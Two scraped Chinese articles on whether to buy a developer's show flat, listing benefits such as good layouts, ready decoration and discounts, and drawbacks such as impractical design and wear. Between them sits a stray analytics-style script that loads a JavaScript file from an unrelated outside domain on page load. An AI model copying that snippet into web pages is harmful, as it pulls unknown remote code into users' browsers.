买装修好的房子好吗 一起来看买样板房的利弊

楼盘在出售之前开发商都会将一些房子装修好，将其称之为样板房，用于给客户展示自己的产品，而当这些房子在无法发挥作用后也会进行出售。这些房子一般都是比较好的户型，装修也比较精美，因此引得不少的人心动，那么买装修好的房子好吗？事实上这类房子并不想表面看得那么好，购买它是要承担一定的风险的，接下来就一起看看买样板房的利弊吧。一、优点买装修好的房子好吗？首先来看看它的优点。第一，正如前面所提到的，因为它的作用是用来向客户展示，所以户型一定是比较好的，格局住起来比较舒适；第二，也是因为要用于展示，它所采用的设计一定是时尚、美观的，用的材料也一定是比较高端的，整体质量不错；第三，省时省力省心，房子已经装修好，买回来就可以住，不用再经历装修这个步骤，操心大小事务；第四，样板房装修时间是在楼盘开售前，出售时间是在楼盘收尾时，购买后距离装修时间应该已经过了很久，装修过程中产生的一些有毒物质也基本上消散，有利于身体健康；第五，也是比较实际的一点，它的出售一般都在楼盘销售的尾声阶段，这时谈判的空间比较大，能争取到更多的优惠。二、缺点买装修好的房子好吗？接下来看看它的缺点。第一，也正是因为它是用于展示的房子，装修设计时会比较侧重它的美观，而忽视了使用价值，为了突显房子的干净整洁、宽阔，可能不会设置一些有碍空间但又实用的物品，后期还要自己再进行改造；第二，样板房的展示时间比较长，一些装修、装饰可能出现了损坏，质量得不到保证。买装修好的房子好吗？总的来说，购买样板房是有利有弊的，甚至一些利弊产生的原因还是冲突的，所以一定要经过深思熟虑和一定程度的考察，验收时也要注意。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

楼房样板间能买吗？优缺点举例

一般来说我们在购置房子之前都是会前往实体的地方进行亲自的考量，包括参观一些样板间等等，这些样板间一般都是房地产开发商在原有的基础上进行了一定的装修而操作而成的，它们很是美观，能够很好地反映楼房的结构设计和采光程度，但是今天为大家准备的是关于楼房样板间是否能够购置，以及它优缺点方面的举例介绍，有兴趣的朋友可以综合下文所述对比自己的实际情况，决定是否需要购置样板间。一、样板房能买吗1、购买样板房的好处：首先作为楼盘展示的一个重要组成部分，开发商一般都会尽心设计、科学施工、挖空心思做软装，装修材料和装饰物件多选用名牌，质量信得过;其次，展示单位户型及位置一般较好，甚至是最优的;  第三，由开发商提供精装修的另一个好处就是“省心”，购买毛坯房的用户有过自己装修的亲身体会，大大小小的装修问题都要考虑，一套房子装修下来撇开费用不讲也是身心俱疲;第四，装修的时间不一样，因此由用户自己装修还存在一个相互干扰的问题，而开发商提供整体精装修很显然能够避免这个问题。第五，大多楼盘在尾盘阶段才考虑出售样板间，谈判空间较大，优惠力度也一般较大。第六，无污染，样板房一般使用都在一年左右了，装修的有害气体都已经散发完毕，对健康有利。2、购买样板房的弊端：第一，不少开发商或设计师过于追求空间的展示效果，而忽略了楼盘居家的实用性。开发商、销售商为了凸显房屋的开阔，几乎不设置任何有碍空间的物品，实际生活中必需的管线、管道、表计等一概没有;第二，有些样板间施工时存在抢工期的现象，后期整改的施工难度大，尤其对于隐蔽工程而言更是如此;第三，展示周期一般可能长达1-2年，装修、装饰及设备损毁的可能性都比较大。如果样板房的质量没什么问题的话，购买样板房还是挺划算的，不仅价格较便宜，而且省心省力还无污染。样板房较为适合不太注重细节且购房资金不充足的购房者，决定购买之前找专业人士检验一下样板房的质量，预测一下想要住起来没什么问题需要做哪些改动以及这些改动所要花费的时间、精力及金钱。如果动静太大，不建议购买。一般来说样板间都相当于一个展示厅，可以为有意向购置楼房的朋友提供实体的效果，包括采光和结构方面的表现，我们都可以借助参观样板间来实现，除此之外，在房子收尾的时候，房地产开发商也会进行样板间的买卖，但是在这过程中我们应该注意的事项是比较多的，包括对比样板间购置方面的优点和缺点，优点包括节省了装修的成本和时间损耗，但是缺点也有很多，包括无法保障建材材料的质量，这些都是比较关键的决定性因素。